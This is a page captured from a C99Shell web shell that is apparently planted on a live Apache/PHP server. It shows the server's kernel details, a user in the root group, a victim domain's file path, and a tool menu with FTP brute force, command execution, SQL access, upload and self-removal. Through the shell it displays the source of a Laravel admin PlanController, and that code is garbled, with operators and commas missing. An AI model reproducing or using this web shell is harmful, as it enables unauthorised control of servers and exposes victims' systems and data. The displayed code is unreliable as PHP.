!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.02 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PlanController.php (4.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Admin\StorePlan;
use 
App\Models\Admin\StoreRole;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;

class 
PlanController extends Controller
{
    public function 
index()
    {
        return 
view('admin.plans.index');
    }

    public function 
getAll()
    {

        
$plans StorePlan::with('role')->select(['id''title''sms_limit''cost''status''recurring_type''role_id']);
        return 
datatables()->of($plans)
            ->
addColumn('action', function ($q) {
                return 
'<div class="btn-group">
                          <button type="button" data-toggle="dropdown" class="border-0">
                         <i class="fas fa-ellipsis-h"></i>
                          </button>
                          <div class="dropdown-menu">
                            <a class="dropdown-item" href="' 
route('admin.plans.edit', [$q->id]) . '">Edit</a>
                            <a data-message="Are you sure you want to delete this Plan?"
                                        data-action=' 
route('admin.plans.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" data-toggle="tooltip" data-placement="top" title="Delete" class="dropdown-item" href="#">Delete</a>
                          </div>
                        </div>'
;
            })
            ->
addColumn('status', function ($q) {
                if (
$q->status == 'active') {
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-success" style="border-radius:25px;">' $q->status '</span>';
                } else {
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-danger" style="border-radius:25px;">' $q->status '</span>';
                }
            })
            ->
addColumn('role', function ($q) {
                return isset(
$q->role) ? $q->role->name $q->role_id;
            })
            ->
rawColumns(['status''action'])
            ->
toJson();
    }

    public function 
create()
    {
        
$data['roles'] = StoreRole::all();
        return 
view('admin.plans.create'$data);
    }

    public function 
store(Request $request)
    {

        
$request->validate([
            
'title' => 'required',
            
'cost' => 'required|numeric',
            
'sms_limit' => 'required|numeric',
            
'recurring_type' => 'required|in:onetime,weekly,monthly,semiyearly,yearly',
            
'role_id' => 'required|exists:roles,id',
            
'status' => 'required|in:active,inactive',
        ]);

        
\DB::transaction(function () use ($request) {
            
$roleData $request->only(['title''cost''sms_limit''recurring_type''role_id''status']);
            
StorePlan::create($roleData);
        }, 
10);

        return 
redirect()->back()->with('success''Plan has been created successfully.');
    }

    public function 
edit($id)
    {
        
$data['plan'] = StorePlan::findOrFail($id);
        
$data['roles'] = StoreRole::all();

        return 
view('admin.plans.edit'$data);
    }

    public function 
update($idRequest $request)
    {
        
$request->validate([
            
'title' => 'required',
            
'cost' => 'required|numeric',
            
'sms_limit' => 'required|numeric',
            
'recurring_type' => 'required|in:onetime,weekly,monthly,semiyearly,yearly',
            
'role_id' => 'required|exists:roles,id',
            
'status' => 'required|in:active,inactive',
        ]);

        
$plan=StorePlan::findOrFail($id);

        
DB::transaction(function () use ($request,$plan) {
            
$planData $request->only(['title''cost''sms_limit''recurring_type''role_id''status']);
            
$plan->update($planData);
        }, 
2);

        return 
redirect()->back()->with('success''Plan updated successfully.');
    }

    public function 
destroy($id){
        
//TODO: Need to check if the plan has been used or not
        
StorePlan::whereId($id)->delete();
        return 
redirect()->back()->with('success''Plan has been deleted successfully');
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--